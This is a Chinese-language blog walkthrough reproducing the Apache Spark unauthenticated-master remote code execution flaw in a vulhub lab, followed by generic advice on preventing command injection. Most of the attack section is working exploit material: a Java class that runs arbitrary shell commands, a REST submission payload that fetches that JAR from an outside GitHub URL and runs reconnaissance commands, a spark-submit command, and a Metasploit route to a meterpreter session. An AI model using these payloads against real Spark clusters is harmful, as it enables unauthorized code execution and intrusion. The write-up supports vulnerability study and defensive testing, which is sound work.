【漏洞复现】Apache Spark 未授权访问漏洞


一、漏洞背景

Apache Spark 是一个开源集群运算框架,专为大规模数据处理而设计的快速通用的计算引擎,Spark是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce 的通用并行框架。

二、漏洞详情

Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码

三、测试版本

Apache Spark 2.3.1

四、漏洞复现

漏洞环境

使用docker+vulhub启动测试环境
在这里插入图片描述
环境启动后,执行docker ps可以看到开放4个端口,8080808160667077 每个端口对应的应用界面不同。
(1)http://x.x.x.x:8080 ->master管理界面
在这里插入图片描述
(2)http://x.x.x.x:8081 ->slave管理界面
在这里插入图片描述
standalone模式下,master将在6066端口启动一个HTTP服务器,如下图所示:
在这里插入图片描述
7077端口后面方法中用得到。

漏洞利用

该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。

提交方式有三种:

利用 REST API
利用 submissions 网关(集成在 7077 端口中)
利用 Metasploit中exploit模块

应用可以是Java或Python,就是一个最简单的类,如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String[] args) throws Exception {
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

将其编译成JAR,放在任意一个HTTP或FTP上,如:
https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

利用REST API 方式提交应用
standalone 模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://your-ip:6066"
  }
}

其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
在这里插入图片描述
返回的包中有 “submissionId=*****”,然后访问 http://your-ip:8081/logPage/?dirverId={submissionId}&logType=stdout
在这里插入图片描述
这边显示已经成功,但是访问的时候却什么都没有。
Tips:这里可能会出现的问题:
(1)在POST传参中,传参数据里面字段 "appResource", "spark.jars" 两个地址要一致。
(2)GIthub地址访问时出现拒绝访问,因为有时你去打的时候会去这个地址调用Exploit,jar文件,通过该文件将你传输的数据进行执行。
(3)如果依旧无法访问,那就尝试将Exploit.jar文件下载到本地,然后使用python开启一个HTTP服务,本地去调用,或者放到VPS上去访问。
(4)Content-Type: application/json 有时会出现错误
(5)一定要看版本号 <=2.4.5

那我们就换一种操作手法
burp抓包,直接将请求方法改为POST,然后一直点击send,直到数据包发完为止,将整个请求数据完整结束,这是在页面上就出现了submissionId=*******
在这里插入图片描述得到返回值,然后再去访问 http://your-ip:8081/logPage/?dirverId={submissionId}&logType=stdout
在这里插入图片描述
访问界面已经存在主机名、账号等信息。

注意: 提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认是8081端口)。实战中,由于slave可能有多个。


利用submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用 Apache Spark 自带的脚本 bin/spark-submit:

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit >https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

如果你指定的 master 参数是 rest 服务器,这个脚本会先尝试使用 rest api 来提交应用;如果发现不是 rest 服务器,则会降级到使用 submission gateway 来提交应用。

查看结果的方式与前面一致。


利用Metasploit exploit模块进行攻击
search spark
在这里插入图片描述
参数配置
在这里插入图片描述
攻击之后可得到一个java类型meterpreter会话。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Apache Spark是一个分布式计算系统,用于大数据处理和分析。然而,如果不谨慎使用,可能存在命令注入漏洞。 命令注入是一种常见的安全漏洞,攻击者利用这种漏洞向应用程序中注入恶意的命令,从而执行他们无权执行的操作。对于Apache Spark而言,命令注入漏洞可能发生在使用外部命令或系统命令执行时。 攻击者通过构造恶意输入并将其注入到命令执行的相关参数中,例如shell命令或数据库查询,从而利用命令注入漏洞。如果Apache Spark的代码没有正确对用户输入进行验证和过滤,攻击者可能在执行命令时传递恶意的参数,导致系统受到攻击。 为了防止Apache Spark命令注入漏洞,开发者和管理员可以实施以下安全措施: 1. 输入验证和过滤:在接受用户输入时,必须对其进行验证和过滤,以确保输入符合预期的格式和内容。可以使用正则表达式或白名单过滤,只允许特定的字符和格式。 2. 参数化查询:在执行外部命令或数据库查询时,应使用参数化查询,通过占位符来传递用户输入,而不是直接拼接字符串。这样可以确保用户输入不能被误解为命令。 3. 最小权限原则:将Spark应用程序中执行的操作的权限限制为最小。确保Spark服务和应用程序以只读或只执行特定操作的权限运行,避免对系统进行不必要的修改或调用危险的命令。 4. 更新和补丁:保持Apache Spark及其相关组件的最新版本,以获取已修复的安全漏洞和错误。及时应用程序补丁和安全更新,以确保系统的安全性。 综上所述,理解和实施输入验证,参数化查询,最小权限原则以及更新和补丁是预防Apache Spark命令注入漏洞的有效方法。这些安全措施将有助于确保Apache Spark系统和处理的数据的安全性,减少命令注入攻击的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值